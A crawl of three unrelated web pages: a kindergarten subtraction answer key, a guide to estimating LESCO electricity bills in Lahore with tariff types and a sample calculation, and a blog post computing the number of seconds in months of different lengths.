DIRECTIONS: 1. There are 5 counters in the five frames. Trace the symbol and write the number of counters that are red. Write the number of counters that are yellow. 2. There are 4 counters in the
five frame. Trace the symbol and write the number of counters that are red. Write the number of counters that are yellow.
Question 1.
The number of red counters are 2
the number of yellow counters are 3
Total number of counters 5
5 – 2 = 3
Question 2.
The number of red counters are 2
the number of yellow counters are 2
Total number of counters 4
4 – 2 = 2
DIRECTIONS: Choose the correct answer. 3. There are 5 turtles. Three of the turtles are green. How many turtles are brown? 4. There are 3 rabbits. Two of the rabbits are brown. How many rabbits are
Lesson Check
Question 3.
There are 5 turtles. Three of the turtles are green.
5 – 3 = 2
2 turtles are brown
Question 4.
There are 3 rabbits. Two of the rabbits are brown.
3 – 2 = 1
1 rabbit is white
Leave a Comment
You must be logged in to post a comment. | {"url":"https://gomathanswerkey.com/texas-go-math-kindergarten-lesson-9-3-answer-key/","timestamp":"2024-11-14T07:59:10Z","content_type":"text/html","content_length":"250392","record_id":"<urn:uuid:da21866e-016c-428b-ba46-a602bd789eba>","cc-path":"CC-MAIN-2024-46/segments/1730477028545.2/warc/CC-MAIN-20241114062951-20241114092951-00860.warc.gz"} |
LESCO Bill Calculator 2024 - Unit Estimator
LESCO Bill Calculator – Unit Estimator
LESCO, the Lahore Electricity Supply Company, is one of the largest electricity suppliers in Pakistan. It distributes electricity in areas including Lahore, Okara, Nankana, and Sheikhupura. Due to
the increasing inflation in Pakistan, the electricity sector has also been affected by inflation, resulting in higher unit prices.
The use of air conditioners and other appliances leads to higher electric bills. Therefore, it becomes imperative to keep a close eye on your consumption and make efforts to control your bills after
calculating them online. In Pakistan, LESCO calculates bills based on factors such as the number of units consumed, meter type, and various other considerations.
Some technical terms are used to estimate the electricity bill. In this article, to help you better understand the process, we’ll familiarize you with these terms before you use the LESCO bill
calculator. With the help of this online bill calculator, estimating your bill becomes much easier.
Cost of Electricity
F.C Surcharge
Electricity Duty
TV Fee
N.J Surcharge
Total Estimated Bill
Lahore Electricity Unit Price
Electricity prices in Lahore are structured in a tiered system, meaning the more units consumed, the higher the per-unit cost. Here is a breakdown of the latest electricity unit prices in Lahore,
Pakistan, as of 2024:
• Residential Users (up to 100 units): The per unit cost is lower for basic consumption, typically ranging from PKR 16 to PKR 18.
• Residential Users (101 to 300 units): The price per unit increases, with rates between PKR 18 and PKR 22.
• Residential Users (301 to 700 units): For higher consumption, the unit cost rises significantly, going from PKR 23 to PKR 25.
• Residential Users (above 700 units): The highest consumption tier costs around PKR 26 to PKR 30 per unit.
• Commercial Consumers: Small commercial users pay between PKR 24 and PKR 28 per unit, while larger businesses pay up to PKR 32 per unit.
• Additional Charges: Government taxes and surcharges also impact the final electricity bill, sometimes increasing the total cost by 10-20%.
The Wapda electricity bill is the electricity bill for people living in and around Lahore, which covers outlying districts. LESCO stands for Lahore Electric Supply Company, and they’re the ones in
charge of making sure we all get our power in these areas.
How Does Online Bill Calculator Works
If you’ve got a rough idea of how many units you’ve used, you can check and calculate your LESCO bill online. With the LESCO bill calculator online, you can easily figure out an estimate of your
electricity bill. Count your units, and you’ll get a quick estimate of your electricity cost.
This LESCO bill calculation tool works super-fast; you’ll get the cost per unit as soon as you input the data. This means you can quickly find out the LESCO bill rate per unit, as well as the total
bill for different consumption levels, like 300 units, 400 units, or any other number of units you want to check.
Note– Please note that the amount of bill you calculate may vary with the actual bill amount.
Attention Please! Some technical terms should be in your knowledge before checking your LESCO bills. Here are the points to calculate your Lahore bill.
Step 1– Knowledge About your Connection Type
The first thing you should know about your connection type. If you don’t, worry not you can check it through your electricity bill.
Types of LESCO Tariff
To calculate bills online with accuracy you must choose your related tariff in the calculator. Choosing the right option leads to accurate results.
A1(01) Domestic
A1(03) Domestic
A2(04) Commercial
A2c(06)T Commercial
B1(07) Industrial
B1(08) Industrial
B1b(09)T Industrial
B2a(10) Industrial
B2a(11) Industrial
B2b(12)T Industrial
Step 2 – Choose Your Phase Type
Now, you’ll need to choose one of the following options.
Single Phase
Single-phase electric meters are typically installed in our homes and operate at voltages ranging from 230 to 240 volts. These meters are connected via two wires, known as the active and neutral
Three Phase
Three-phase electric meters are deployed in locations with high power demands, such as commercial and industrial settings. These meters are connected using three active wires and a neutral wire at
voltages ranging from 410 to 430 volts.
Step 3– Number of Units Consumed
At this point, you must provide the quantity of units you have consumed within a month. You are presented with the flexibility to enter this figure in one of three different formats as listed below.
Kilowatt Hour (kWH)
A kilowatt-hour (kWh) represents the amount of energy consumed by electric appliances with a power rating of one kilowatt (KW) over one hour. In simpler terms, it indicates that your household
electric appliances consume one kilowatt of energy within one hour.
Kilovolt Amperes Reactive Hours (KVARH)
A kilovolt-ampere (kVA) is employed to gauge the power rating of heavy-duty electrical appliances.
Maximum Demand Indicator (MDI)
A maximum demand indicator assesses the amount of energy a consumer consumes at a specific point in time.
Step 4 – Unit Price in Different Hours
Furthermore, you will notice that there are two distinct types of unit fields positioned just below each of the aforementioned input fields.
Off-Peak hours
Off-peak hours signify periods during which electricity consumption is lower compared to the peak hours. These hours occur when demand is reduced, and they typically have a lower rate of electricity
usage than peak hours
Peak hours
Peak hours refer to specific times of the day when the cost per unit rate for electricity becomes elevated, typically lasting for about four to five hours. During these hours, energy consumption also
tends to be significantly higher compared to the rest of the day.
The next step is, to fill the required field of meter rent if it is applicable.
The term ‘meter rent’ refers to the fee charged to customers every quarter, which is intended to cover the expenses associated with the meter
You’ve to fill in the next Service Rent field if it is mandatory.
The service rent is kilowatt-hour-based volumetric charge pertains to the cost incurred for delivering electricity to your residence, encompassing the utilization of local wires and other associated
Step 7– Your Area Of Supply
Put your electricity supply area in the field.
Step 8 – TV Sets Under Usage
Next, please input the total number of television sets you have in use. You can choose from a dropdown menu with options for up to 9 TV sets.
There are a few additional fields provided. You can select or deselect them as needed.
How to Use Online LESCO Bill Calculator
To estimate bills using the LESCO bill calculator, you should input the following information in the online Bill Calculator.
Meter Reading
Input the meter reading from your previous bill or the current reading on your meter.
Rate Per Unit
Provide the rate per unit, as indicated on your bill (typically in Rs/kWh).
Total kWh Consumed: Calculate the total kilowatt-hours (kWh) consumed for the specified period (e.g., for a monthly electricity bill, select 30 days and multiply the values mentioned above to
determine the total kWh used).
LESCO Bill Calculation Formula
The LESCO bill calculation formula is:
LESCO Bill Calculation Method
Since 1 unit is equivalent to 1 kWh,
The total kWh can be calculated as follows:
1000 W x 24 Hours x 30 Days = 720,000 watt-hours.
To convert this to kWh, simply divide 720,000 by 1000, resulting in 720 kWh
The total monthly average consumption amounts to 720 kWh. With an estimated unit cost of approximately 20 PKR, you can calculate the total cost using the formula provided above:
Monthly Electricity Bill= 720*20= 14400
Therefore, the approximate monthly bill average would be 14400.
Bonus Tip – If you’re a non-filer consumer, a 7.5% tax is added to your bill every month, resulting in an increase in your electricity bill. To confirm whether this 7.5% tax amount has been added to
your bill or not, you can verify your CNIC (Computerized National Identity Card) at PITC (Power Information Technology Company). Visit the official website of PITC and update your CNIC in the
required fields.
We’ve provided comprehensive guidance for every field in the LESCO Bill calculator. Once you’ve input all the necessary details, simply click the submit button, and you’ll receive an estimated amount
for your LESCO bill online. This electricity bill calculator is designed to give you a rough estimate of your monthly charges. It helps calculate the electricity cost but doesn’t factor in taxes.
Wapda taxes can vary and depend on various factors, including governmental decisions, surcharge calculations, or any new policy revisions, which may also impact your monthly bill. Therefore, after
calculating your bill using this tool, we recommend waiting for your official online bill or a hard copy from LESCO to get the most accurate and up-to-date information. | {"url":"https://lescobillpay.pk/lesco-bill-calculator/","timestamp":"2024-11-10T08:14:31Z","content_type":"text/html","content_length":"182812","record_id":"<urn:uuid:c3a3b986-0702-40f3-b688-31e013148a42>","cc-path":"CC-MAIN-2024-46/segments/1730477028179.55/warc/CC-MAIN-20241110072033-20241110102033-00079.warc.gz"} |
INDEX MATCH An Alternative To VLookUp - The JayTray Blog
INDEX MATCH An Alternative To VLookUp
Having worked with and trained a range of people from different departments and businesses, I have seen that the VLookUp is the function that I am most asked for help with or training on. Here I
would like to show you an alternative to the VLookUp which is INDEX MATCH.
INDEX MATCH solves some of the downsides of VLookUps.
If you’re not sure what the VLookUp is like, you can read my post on VLookUp by clicking here.
You’ve probably experienced two of the downfalls of Excel that I frequently come across:
1. VLookUp works from left to right. The first column of your table array must contain the lookup value, and the data that you want to retrieve must be to the right of this.
2. Working with smaller files, speed may not be an issue, but as the number of VLookUps increases the length of time to update the formula may increase.
The INDEX MATCH can overcome both these problems.
The data that you want to retrieve does not have to be the right of your lookup value, it can be to the left either and recently I timed the INDEX MATCH against VLookUps in the same file and the
INDEX MATCH was faster by about 11% (there were over 800,000 rows of data with at least one VLookUp/INDEX MATCH in each row.
I have read that INDEX MATCH can be up to 13% faster in larger files than VLookUps.
Let’s break down the formula into it’s two formulas. We will base our example on the data below.
MATCH “returns the relative position of an item in an array that matches a specified value in a specified order”.
It has 3 arguments:
• Lookup_value – this is the value you use to find the value you want in the array
• Lookup_array – this is a range of cells that possibly contains your lookup value
• Match_type – this is the type of match you want. 0 indicates an exact match, 1 for the closes match less than or equal to the lookup value and -1 for the closes match that is greater than or
equal to the lookup value. If omitted, Excel uses 1 as the default.
I have made a small change to our example.
In cell E1, I have entered “NAME :” and in F1 I have entered “Brian”. We will use this cell as our lookup value later.
In E2, I have entered “MATCH :” and in F2 I have entered our Match formula as follows:
• =MATCH(
• F1, – our lookup_value will be the name in this cell
• D:D, – our lookup_array where we will look for our lookup_value
• 0) – we want to find an exact match for our looku_value
The result of the formula is 3.
The name Brian can be found in the 3rd row of our array, which was column D.
Note that if I set my array as cells D2 down to D14, the result of this formula would be 2 – that is because Brian is now in the second row of our array (D2 is first row, D3 is second row and so on).
If we change the name, the result of our formula will be the row number that the name can be found in our lookup_array.
We are going to use the MATCH formula in our final formula as a way to return the row number our lookup_value can be found in.
INDEX “returns a value or reference of the cell at the intersection of a particular row and column, in a given range).
There are 2 versions of the INDEX formula. We are going to use “array, row_num, column_num” and we will use two arguments:
• Array – this is a range of cells
• Row_num – selects the row in our Array from which to return a value.
There is a 3rd argumet, Column_num which we won’t be using in this case. But if we did not use Row_num, we would have to use Column_num.
I have made some changes to our existing file again. In E3, I have entered “INDEX : ” and in F3, I have entered an INDEX formula.
The formula can be broken down as:
• =INDEX(
• C:C, – Our array will be column C, the Sales values column.
• 3) – Our Row_num will be 3, we want to retrieve the value in the 3rd row of our array.
The result is “1029” which comes from cell C3, the 3rd row in our array.
As with the MATCH formula, if our array was from C2 to C14, then the 3rd row in our array is actually C4 and the result would be 1332.
If you understand the two formulas on their own, then hopefully combining the two should make sense.
We are going to use the INDEX formula to retrieve a value of sales for a given sales person.
With INDEX we can retrieve the sales value from column C, but we don’t know what Row_num to use.
We will use the MATCH formula to get our Row_num.
The final formula is:
• =INDEX(C:C, – We are going to use the INDEX formula to retrieve a value from column C
• MATCH(F1,D:D)) – The Row_num of our INDEX formula will be the result of our MATCH formula which is looking for Brian (value in F1) in column D and returning the row number. This row number is
then used as the Row_num argument of our INDEX formula.
To retrieve the region for a sales person, change the array argument of the INDEX formula to column A.
To use a month as the lookup_value, change the array of the MATCH formula to column B.
NOTE If you are using a range as your array in the INDEX formula, make sure to use the same range as the array in your MATCH formula and vice versa. This is very important to retrieve data from the
correct row or column.
INDEX MATCH As An Alternative To HLookUp
Can you amend the formula to use it as a replacement to the HLookUP?
Instead of using Row_num you could use your MATCH to find the Column_num for your INDEX formula.
To use a Column_num instead of Row_num in the INDEX formula, leave the Row_num blank and enter a comma – this will move you onto the Column_num argument.
Click Here to Leave a Comment Below 1 comments | {"url":"https://blog.thejaytray.com/index-match-alternative-vlookup/","timestamp":"2024-11-12T16:56:42Z","content_type":"text/html","content_length":"93520","record_id":"<urn:uuid:fabefc6b-1d8a-425f-9259-8a4b51b24961>","cc-path":"CC-MAIN-2024-46/segments/1730477028273.63/warc/CC-MAIN-20241112145015-20241112175015-00735.warc.gz"} |
VPEX P2 - Darcy Parties
Darcy is celebrating his IOI platinum medal. At his party, he tried to split up his cake into many slices and distributed the slices equally. However, his supervisor Eric noticed that Darcy
accidentally gave some people an incorrect amount of slices. Calculate how many times Darcy made a mistake.
Input Specification
The first line contains , the number of people at the party. The next line contains integers, each integer representing the number of slices of cake the person has.
It is guaranteed that the total number of slices will be divisible by the number of people at the party.
Output Specification
Output the number of people who did not receive the number of slices they should have received if the cake was divided equally.
Sample Input
Sample Output
If the slices were evenly distributed, everyone would receive 2 slices. Darcy only gave 1 slice to person 1, and gave the extra slice to person 2.
There are no comments at the moment. | {"url":"https://dmoj.ca/problem/vpex1p2","timestamp":"2024-11-05T11:48:05Z","content_type":"text/html","content_length":"20272","record_id":"<urn:uuid:d4744e3e-93a9-4a15-ac90-e6e9758d0ad9>","cc-path":"CC-MAIN-2024-46/segments/1730477027881.88/warc/CC-MAIN-20241105114407-20241105144407-00567.warc.gz"} |
How to Calculate and Solve for Grain Size Determination: Relationship between ASTM number and Grains per Square Inch | Imperfection in Solids
The image above represents grain size determination. To calculate average number of grains per square inch, one essential parameter is needed and this parameter is ASTM Grain Number (n).
The formula for calculating average number of grains per square inch:
N[o]Â = 2^(n – 1)
N[o]Â = Average Number of Grains per Square Inch
n = ASTM Grain Number
Given an example;
Find the average number of grains per square inch when the ASTM grain number is 2.
This implies that;
n = ASTM Grain Number = 2
N[o]Â = 2^(n – 1)
That is, N[o]Â = 2^(2 – 1)
N[o]Â = 2^(1)
N[o] = 2
Therefore, the average number of grains per square inch is 2.
Read more:Â How to Calculate and Solve for Grain Size Number with Magnification | Imperfection in Solids
How to Calculate Grain Size Determination: Relationship between ASTM number and Grain Size per Square Inch | Nickzom Calculator
Nickzom Calculator – The Calculator Encyclopedia is capable of calculating the average number of grains per square inch.
To get the answer and workings of the average number of grains per square inch using the Nickzom Calculator – The Calculator Encyclopedia. First, you need to obtain the app.
You can get this app via any of these means:
Web – https://www.nickzom.org/calculator-plus
Master Every Calculation Instantly
Unlock solutions for every math, physics, engineering, and chemistry problem with step-by-step clarity. No internet required. Just knowledge at your fingertips, anytime, anywhere.
To get access to the professional version via web, you need to register and subscribe to have utter access to all functionalities.
You can also try the demo version via https://www.nickzom.org/calculator
Android (Paid) – https://play.google.com/store/apps/details?id=org.nickzom.nickzomcalculator
Android (Free) – https://play.google.com/store/apps/details?id=com.nickzom.nickzomcalculator
Apple (Paid) – https://itunes.apple.com/us/app/nickzom-calculator/id1331162702?mt=8
Once, you have obtained the calculator encyclopedia app, proceed to the Calculator Map, then click on Materials and Metallurgical under Engineering.
Now, Click on Imperfection in Solids under Materials and Metallurgical
Now, Click on Average Number of Grains per Square Inch under Imperfection in Solids
The screenshot below displays the page or activity to enter your value, to get the answer for the average number of grains per square inch according to the respective parameter which is the ASTM
Grain Number (n).
Now, enter the values appropriately and accordingly for the parameter as required by the ASTM Grain Number (n) is 2.
Finally, Click on Calculate
As you can see from the screenshot above, Nickzom Calculator– The Calculator Encyclopedia solves for the average number of grains per square inch and presents the formula, workings and steps too. | {"url":"https://www.nickzom.org/blog/2023/01/13/how-to-calculate-and-solve-for-grain-size-determination-relationship-between-astm-number-and-grain-size-per-square-inch-imperfection-in-solids/","timestamp":"2024-11-10T06:19:40Z","content_type":"text/html","content_length":"240421","record_id":"<urn:uuid:4323a4c4-78c4-4c86-b563-b02fa109be70>","cc-path":"CC-MAIN-2024-46/segments/1730477028166.65/warc/CC-MAIN-20241110040813-20241110070813-00021.warc.gz"} |
Video examples
Solving problems involving rational and/or negative exponents
These videos will take you through the solutions of several kinds of problems you might encounter using rational and negative exponents, alone or in combinations.
Examples 1
Here are three whole numbers raised to rational powers to give you an idea of how these can be simplified exactly and pretty quickly without a calculator. You just need to know the laws of exponents
(and remember the multiplication table). The last example shows you how to solve a problem like x^a/b = 25, by raising both sides to the b/a power.
Examples 2
Here are two more examples, the first like the last on the previous video, only with a negative rational exponent on x. The second example is of the kind you'll encounter often: a ratio of several
variables raised to various rational and negative powers. One strategy (used here) is to deal with the negative exponents first, by moving them across the division line and dropping the negative
Examples 3
Here are two more examples of simplifying ratios of variables raised to rational and negative powers. | {"url":"http://xaktly.com/RationalNegExponents_Video.html","timestamp":"2024-11-11T16:21:29Z","content_type":"text/html","content_length":"8481","record_id":"<urn:uuid:fba28cde-66a9-498b-beb3-9e0e8a08f60a>","cc-path":"CC-MAIN-2024-46/segments/1730477028235.99/warc/CC-MAIN-20241111155008-20241111185008-00731.warc.gz"} |
a person related to one by marriage.
-ssigning finite values to finite quant-ties.
of or relating to a transformation that maps parallel lines to parallel lines and finite points to finite points.
(maths) of, characterizing, or involving transformations which preserve collinearity, esp in cl-ssical geometry, those of translation, rotation and reflection in an axis
Read Also:
• Affine geometry
the branch of geometry dealing with affine transformations.
• Affine group
the group of all affine transformations of a finite-dimensional vector sp-ce.
• Affine transformation
affine transformation mathematics a linear transformation followed by a translation. given a matrix m and a vector v, a(x) = mx + v is a typical affine transformation. (1995-04-10)
• Affined
closely related or connected. bound; obligated. historical examples to all such was applied the term aca, related or affined;32-2 and marriage within the chinamitl was not permitted. the annals
of the cakchiquels daniel g. brinton adjective closely related; connected
• Affinities
a natural liking for or attraction to a person, thing, idea, etc. a person, thing, idea, etc., for which such a natural liking or attraction is felt. relationship by marriage or by ties other
than those of blood (distinguished from ). inherent likeness or agreement; close resemblance or connection. biology. the phylogenetic relationship between two […] | {"url":"https://definithing.com/affine/","timestamp":"2024-11-13T22:29:41Z","content_type":"text/html","content_length":"23864","record_id":"<urn:uuid:483a8e77-c0d5-4137-a0d7-fb85909cbb97>","cc-path":"CC-MAIN-2024-46/segments/1730477028402.57/warc/CC-MAIN-20241113203454-20241113233454-00827.warc.gz"} |
Fact Class
Class DoubleBandFact represents the factorization of a banded matrix of double-precision floating point numbers.
Namespace: CenterSpace.NMath.CoreAssembly:
NMath (in NMath.dll) Version: 7.4
The DoubleBandFact type exposes the following members.
Name Description
DoubleBandFact(DoubleBandMatrix) Constructs a DoubleBandFact instance by factoring the given matrix. By default the condition number for the matrix will not be computed and will not be available
from the ConditionNumber method.
DoubleBandFact(DoubleBandMatrix, Constructs a DoubleBandFact instance by factoring the given matrix.
Name Description
Cols Gets the number of columns in the matrix represented by the factorization.
IsGood Gets a boolean value which is true if the matrix factorization succeeded and the factorization may be used to solve equations, compute determinants, inverses, and so on; otherwise
IsSingular Gets a boolean value which is true if the matrix factored is singular; otherwise, false.
LowerBandwidth Gets the lower bandwidth of the factored banded matrix.
Rows Gets the number of rows in the matrix represented by the factorization.
UpperBandwidth Gets the upper bandwidth of the factored banded matrix.
Name Description
Clone Creates a deep copy of this factorization.
ConditionNumber Computes an estimate of the reciprocal of the condition number of a given matrix in the 1-norm.
ConditionNumber(NormType) Computes an estimate of the reciprocal of the condition number of a given matrix in the specified norm type.
Determinant Computes the determinant of the factored matrix.
Factor(DoubleBandMatrix) Factors the matrix A so that self represents the LU factorization of A. By default the condition number for the matrix will not be computed and will not be available
from the ConditionNumber method.
Factor(DoubleBandMatrix, Factors the matrix A so that self represents the LU factorization of A. By default the condition number for the matrix will not be computed and will not be available
Boolean) from the ConditionNumber method.
Inverse Computes the inverse of the factored matrix.
Solve(DoubleMatrix) Uses this factorization to solve the linear system AX = B.
Solve(DoubleVector) Uses the LU factorization of self to solve the linear system Ax = b. | {"url":"https://www.centerspace.net/doc/NMath/ref/html/T_CenterSpace_NMath_Core_DoubleBandFact.htm","timestamp":"2024-11-10T12:02:47Z","content_type":"text/html","content_length":"17110","record_id":"<urn:uuid:fd76b0cf-0609-4b91-8b68-27852c4ed162>","cc-path":"CC-MAIN-2024-46/segments/1730477028186.38/warc/CC-MAIN-20241110103354-20241110133354-00861.warc.gz"} |
Control structures - Juvix Docs
Control Structures¶
Juvix utilizes control structures such as case expressions and lazy built-ins to manage the flow of execution. The following sections provide an in-depth understanding of these features.
Case Expressions¶
A case expression in Juvix is a powerful tool that enables the execution of different actions based on the pattern of the input expression. It provides a way to match complex patterns and perform
corresponding operations, thereby enhancing code readability and maintainability.
A case expression in Juvix is defined as follows:
case <expression> of {
| <pattern1> := <branch1>
| <patternN> := <branchN>
In this syntax: - <expression> is the value against which you want to match patterns. - <pattern1> through <patternN> are the patterns you're checking against the given expression. - <branch1>
through <branchN> are the respective actions or results that will be returned when their corresponding patterns match the input expression.
Consider the following case expression in Juvix:
Stdlib.Prelude> case 2 of { | zero := 0 | suc x := x }
In this example, the input expression is 2. The case expression checks this input against each pattern (zero and suc x) in order. Since 2 does not match the pattern zero, it moves on to the next
pattern suc x. This pattern matches the input 2, where x equals 1. Therefore, the corresponding branch x is executed, and 1 is returned.
Thus, when evaluated, this expression returns 1.
By using case expressions, you can write more expressive and flexible code in Juvix. They allow for intricate pattern matching and branching logic that can simplify complex programming tasks.
Lazy Built-in Functions¶
Juvix provides several lazily evaluated built-in functions in its standard library. These functions do not evaluate their arguments until absolutely necessary, providing efficiency in computations.
However, keep in mind that these functions must be fully applied to work correctly.
Here are some examples of these functions:
• if condition branch1 branch2: This function first evaluates the condition. If the condition is true, it returns branch1; otherwise, it returns branch2.
• a || b: This is a lazy disjunction operator. It first evaluates a. If a is true, it returns true; otherwise, it evaluates and returns b.
• a && b: This is a lazy conjunction operator. It first evaluates a. If a is false, it returns false; otherwise, it evaluates and returns b.
• a >> b: This function sequences two IO actions and is lazy in the second argument. | {"url":"https://docs.juvix.org/0.6.3/reference/language/control.html","timestamp":"2024-11-06T12:00:40Z","content_type":"text/html","content_length":"63429","record_id":"<urn:uuid:b09d1c62-e237-452a-8b5d-20ecc67bb1a1>","cc-path":"CC-MAIN-2024-46/segments/1730477027928.77/warc/CC-MAIN-20241106100950-20241106130950-00071.warc.gz"} |
Non-degenerate metrics, hypersurface deformation algebra, non-anomalous representations and density weights in quantum gravity
Thiemann T (2024)
Publication Type: Journal article
Publication year: 2024
Book Volume: 56
Article Number: 122
Journal Issue: 10
DOI: 10.1007/s10714-024-03313-w
Classical General Relativity is a dynamical theory of spacetime metrics of Lorentzian signature. In particular the classical metric field is nowhere degenerate in spacetime. In its initial value
formulation with respect to a Cauchy surface the induced metric is of Euclidian signature and nowhere degenerate on it. It is only under this assumption of non-degeneracy of the induced metric that
one can derive the hypersurface deformation algebra between the initial value constraints which is absolutely transparent from the fact that the inverse of the induced metric is needed to close the
algebra. This statement is independent of the density weight that one may want to equip the spatial metric with. Accordingly, the very definition of a non-anomalous representation of the hypersurface
deformation algebra in quantum gravity has to address the issue of non-degeneracy of the induced metric that is needed in the classical theory. In the Hilbert space representation employed in Loop
Quantum Gravity (LQG) most emphasis has been laid to define an inverse metric operator on the dense domain of spin network states although they represent induced quantum geometries which are
degenerate almost everywhere. It is no surprise that demonstration of closure of the constraint algebra on this domain meets difficulties because it is a sector of the quantum theory which is
classically forbidden and which lies outside the domain of definition of the classical hypersurface deformation algebra. Various suggestions for addressing the issue such as non-standard operator
topologies, dual spaces (habitats) and density weights have been proposed to address this issue with respect to the quantum dynamics of LQG. In this article we summarise these developments and argue
that insisting on a dense domain of non-degenerate states within the LQG representation may provide a natural resolution of the issue thereby possibly avoiding the above mentioned non-standard
Authors with CRIS profile
How to cite
Thiemann, T. (2024). Non-degenerate metrics, hypersurface deformation algebra, non-anomalous representations and density weights in quantum gravity. General Relativity and Gravitation, 56(10). https:
Thiemann, Thomas. "Non-degenerate metrics, hypersurface deformation algebra, non-anomalous representations and density weights in quantum gravity." General Relativity and Gravitation 56.10 (2024).
BibTeX: Download | {"url":"https://cris.fau.de/publications/330375990/","timestamp":"2024-11-05T07:17:59Z","content_type":"text/html","content_length":"9947","record_id":"<urn:uuid:775e3e62-0489-47c2-a162-dbc8fa421dae>","cc-path":"CC-MAIN-2024-46/segments/1730477028402.57/warc/CC-MAIN-20241113203454-20241113233454-00879.warc.gz"} |
How do you convert hex to DEC?
How do you convert hex to DEC?
To convert a hexadecimal to a decimal manually, you must start by multiplying the hex number by 16. Then, you raise it to a power of 0 and increase that power by 1 each time according to the
hexadecimal number equivalent.
How do you convert dec to hex C?
C program to Convert Decimal to Hexadecimal
1. Take a decimal number as input.
2. Divide the input number by 16. Store the remainder in the array.
3. Do step 2 with the quotient obtained until quotient becomes zero.
4. Print the array in the reversed fashion to get hexadecimal number.
How do you read hex codes?
Hex color codes start with a pound sign or hashtag (#) and are followed by six letters and/or numbers. The first two letters/numbers refer to red, the next two refer to green, and the last two refer
to blue. The color values are defined in values between 00 and FF (instead of from 0 to 255 in RGB).
Does Atoi work on hex?
The atoi() and atol() functions convert a character string containing decimal integer constants, but the strtol() and strtoul() functions can convert a character string containing a integer constant
in octal, decimal, hexadecimal, or a base specified by the base parameter.
How does puts work in C?
The puts() function in C/C++ is used to write a line or string to the output( stdout ) stream. It prints the passed string with a newline and returns an integer value. The return value depends on the
success of the writing procedure.
What is the hexadecimal number F equal to in binary?
Hexadecimal Numbers
Decimal Number 4-bit Binary Number Hexadecimal Number
13 1101 D
14 1110 E
15 1111 F
16 0001 0000 10 (1+0)
How to convert hexadecimal number to decimal number in C?
Write a C program to input hexadecimal number from user and convert it to Decimal number system. How to convert from Hexadecimal number system to Decimal number system in C programming. Logic to
convert hexadecimal to decimal number system in C programming. Hexadecimal number system is a base 16 number system.
How does the hex to decimal algorithm work?
The two algorithms are almost identical. Here is the hex to decimal algorithm: Start from the right-most digit. Its weight (or coefficient) is 1. Multiply the weight of the position by its digit. Add
the product to the result. Move one digit to the left. Its weight is 16 times previous weight.
How to convert base 10 to a hex number?
Decimal to hex converter ►. A regular decimal number is the sum of the digits multiplied with power of 10. 137 in base 10 is equal to each digit multiplied with its corresponding power of 10: 137 10
= 1×10 2+3×10 1+7×10 0 = 100+30+7. Hex numbers are read the same way, but each digit counts power of 16 instead of power of 10.
How to convert hex to decimal in rapid table?
Hex to decimal conversion table Hex base 16 Decimal base 10 Calculation 70 112 7×16 1 +0×16 0 = 112 80 128 8×16 1 +0×16 0 = 128 90 144 9×16 1 +0×16 0 = 144 A0 160 10×16 1 +0×16 0 = 160 | {"url":"https://www.peel520.net/how-do-you-convert-hex-to-dec/","timestamp":"2024-11-03T23:34:36Z","content_type":"text/html","content_length":"34081","record_id":"<urn:uuid:770f31fa-e57d-48fc-9583-11b1dd1afb03>","cc-path":"CC-MAIN-2024-46/segments/1730477027796.35/warc/CC-MAIN-20241103212031-20241104002031-00504.warc.gz"} |
How Many Seconds in a Month? Follow These Calculations
07 Aug How Many Seconds in a Month? Here’s A Simple Way to Calculate
Posted at 13:45h
General 0 Comments
Understanding the number of seconds in a month can be complex because there are different no. of days every month. Thus, this blog post provides a simple method to calculate how many seconds in a
month. Moreover, it will also explain the differences between a second and a month. As a result, this simple method will help you to calculate the answer effortlessly. It is true even if you are a
student, have a curious mind, or need precise time calculation.
Difference Between a Seconds and a Month
As per the International System of Units (SI), a “Second” is the basic time unit. To understand it better, there are 60 seconds in a minute, 3,600 seconds in an hour, 86,400 seconds in a day, and
604,800 seconds in a week. People commonly use this unit to measure short durations and intervals.
A “Month” is a unit of time that people use in calendars. It typically consists of 28 to 31 days and is used on the lunar cycle. Furthermore, it helps people organize their annual projects and mark
periods like seasons, events, and financial cycles.
How Many Seconds in a Month?
Calculating the number of seconds in a month can be tricky. However, some factors determine how many seconds there are in any particular month. But must know this basic information before starting
the calculation:
• 60 Seconds = 1 Minute
• 60 Minutes = 1 Hour
• 24 Hours = 1 Day
So, read the following section to learn about the number of seconds in a month.
• First, you must multiply the number of seconds in an hour.
• After that, you should multiply the number of hours in a day:
• Next, you need to multiply the number of days in a month:
First of all, here is a basic calculation you need to carry out first:
• 60 Minutes Per Hour * 60 Seconds / Minute = 3,600 Seconds
• 24 Hours Per Day * 3,600 Seconds = 86,400 Seconds
Now follow the same calculation for a 30-day Month, 31-day month, February in a common year, and February in a leap year.
30-Days Month:
• 30 Days Per Month * 86,400 Seconds = 25,92,000 Seconds
Hence, there are 25,92,000 Seconds in a 30-day long month.
31-Days Month:
• 31 Days Per Month * 86,400 Seconds = 26,78,400 Seconds
Thus, there are 26,78,400 Seconds in a 31-day long month.
February in a Common Year:
• 28 Days Per Month * 86,400 Seconds = 24,19,200 Seconds
So, there are 24,19,200 Seconds in February month during a common year.
February in a Leap Year:
• 29 Days Per Month * 86,400 Seconds = 25,05,600 Seconds
As a result, there are 25,05,600 Seconds in February during a leap year.
Real-Life Use Cases to Calculate Seconds in a Month
Calculating how many seconds in a month will help you in various real-life use cases. Here are some of them you need to know about:
1. Science and Engineering. You should accurately carry out the time calculations for experiments and processes. In engineering, timing is important for consistency in communication networks and
data transmission systems.
2. Global Positioning System (GPS). GPS is dependent on precise timing to determine exact locations. Satellites use atomic clocks to calculate the exact time taken for signals to travel. As a
result, it helps pinpoint the position on Earth.
3. Daily Routines. People use the seconds in a month conversion to manage their schedules effectively. As a result, it helps ensure that tasks and activities fit within their available time.
4. Calendars. Calendars depend on precision on precise time calculations to organize months. Understanding the number of seconds also helps in designing accurate calendars that align with Earth’s
rotation and revolution.
5. Biological Rhythms. Many biological processes work on specific time intervals. These processes include sleep cycles and metabolic functions. Thus, calculating seconds helps in studying and
managing these rhythms for better health and well-being.
In all these scenarios, calculating the no. of seconds in a month helps ensure accuracy in time-related calculations.
Summing It All Up
Understanding how many seconds are in a month can be complex due to the different days of each month. Therefore, this blog post simplifies the calculation process, explaining the difference between a
second and a month. It further provides a method to calculate seconds in any month. You need to multiply the days by 24, then by 60, and finally by 60 again. This calculation is helpful for
subscription billing, project management, data transfer, event logging, and financial analysis.
Question. Can leap years change the seconds in a month calculation?
Answer. Leap years add an extra day to February, 29 days instead of 28. This affects the total no. of seconds in a month, as a leap year has 366 days instead of 365.
Question. Why is understanding time in seconds important for technology and data applications?
